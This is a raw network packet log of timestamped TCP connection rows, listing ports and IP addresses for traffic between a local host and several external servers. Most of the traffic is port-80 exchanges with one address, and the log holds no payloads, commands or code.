Nov 20, 2024 08:09:22.620855093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.620857000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621153116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.621253967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621293068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.621309996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621321917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621342897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.621361017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.621426105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621437073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621448994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.621470928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.621498108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.622210026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.622277021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.632482052 CET	49811	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.632633924 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.633372068 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.633429050 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.633630991 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.633672953 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.633681059 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.633734941 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.633824110 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.633893013 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.633905888 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.633958101 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.633995056 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.634104967 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.634593964 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634632111 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634722948 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634727001 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.634752035 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634768963 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.634773970 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634787083 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.634805918 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.634825945 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634845972 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634902954 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634946108 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.634998083 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.635013103 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.635060072 CET	49817	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.635072947 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.635076046 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.635137081 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.635829926 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:22.635868073 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:22.635926962 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:22.636424065 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.636455059 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.636696100 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.639595032 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.639607906 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.639796972 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.639810085 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.639928102 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.639945030 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.655375004 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.656194925 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.656214952 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.657382965 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.657398939 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.675340891 CET	443	49811	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.675343037 CET	443	49817	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.675362110 CET	443	49812	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.705862999 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.705883026 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.705899954 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.705929995 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.705955029 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.705980062 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.706020117 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.707959890 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.707984924 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.708018064 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.708025932 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.708034992 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.708067894 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.708084106 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.748642921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748668909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748680115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748728991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.748752117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748768091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.748773098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748785019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.748794079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.748822927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749365091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749404907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749416113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749429941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749465942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749469042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749502897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749583006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749619007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749640942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749651909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749665022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749685049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749712944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749918938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749931097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749942064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.749962091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.749979973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750042915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750080109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750314951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750350952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750369072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750381947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750403881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750421047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750458002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750469923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750479937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750494003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.750502110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750519037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.750545025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751007080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751051903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751101017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751113892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751123905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751141071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751210928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751250982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751262903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751272917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751283884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751295090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751332998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751905918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751952887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.751959085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.751966000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752002001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752046108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752058983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752070904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752084017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752113104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752173901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752187014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752211094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752238035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752767086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752813101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752825022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752827883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752851963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752866983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752937078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752948999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752960920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752970934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.752980947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.752996922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.753029108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.757565975 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.757649899 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.757709980 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.759974957 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.759991884 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.760004044 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.760010004 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.764627934 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.764678955 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.764745951 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.765275002 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.765288115 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.793838978 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.793868065 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.793937922 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.793958902 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.793970108 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.793999910 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.794008017 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.794018030 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.794048071 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.794090033 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.809084892 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.809109926 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.834724903 CET	443	49812	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.834805012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.834816933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.834831953 CET	443	49812	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.834856033 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.834903002 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.835011959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.835886002 CET	443	49811	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.835961103 CET	49811	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.878474951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878501892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878513098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878561020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.878616095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.878632069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878643990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878655910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878668070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878681898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.878701925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.878838062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878850937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.878880024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.878906012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879328012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879338980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879353046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879368067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879390955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879411936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879430056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879442930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879446983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879472017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879502058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879534960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879616022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879626989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879652977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879669905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879749060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879787922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879796028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879808903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879829884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879846096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.879928112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879939079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879951000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.879983902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880012035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880065918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880151987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880182981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880218029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880248070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880259037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880284071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880299091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880393028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880403996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880415916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880428076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880428076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880445004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880470991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880616903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880628109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880640030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880662918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880692005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880755901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880765915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.880795956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.880979061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881015062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881062031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881072998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881104946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881206989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881218910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881230116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881242990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881258965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881277084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881453037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881464005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881481886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881493092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881494045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881505013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881516933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881524086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881553888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881778002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881903887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881908894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881941080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.881943941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.881958008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882003069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882095098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882107019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882118940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882149935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882164955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882253885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882277012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882288933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882299900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882311106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882314920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882323027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882349014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882364988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882630110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882641077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882664919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882694960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882813931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882853985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882854939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882867098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.882889032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882905006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.882975101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883080006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883091927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883102894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883116007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883119106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.883152008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.883352041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883364916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883377075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883388042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.883392096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.883424044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.920986891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.921015024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.921025991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.921037912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.921041012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.921092033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.921092033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.964483023 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:22.964530945 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:22.964603901 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:22.964668036 CET	80	49765	185.215.113.206	192.168.2.5
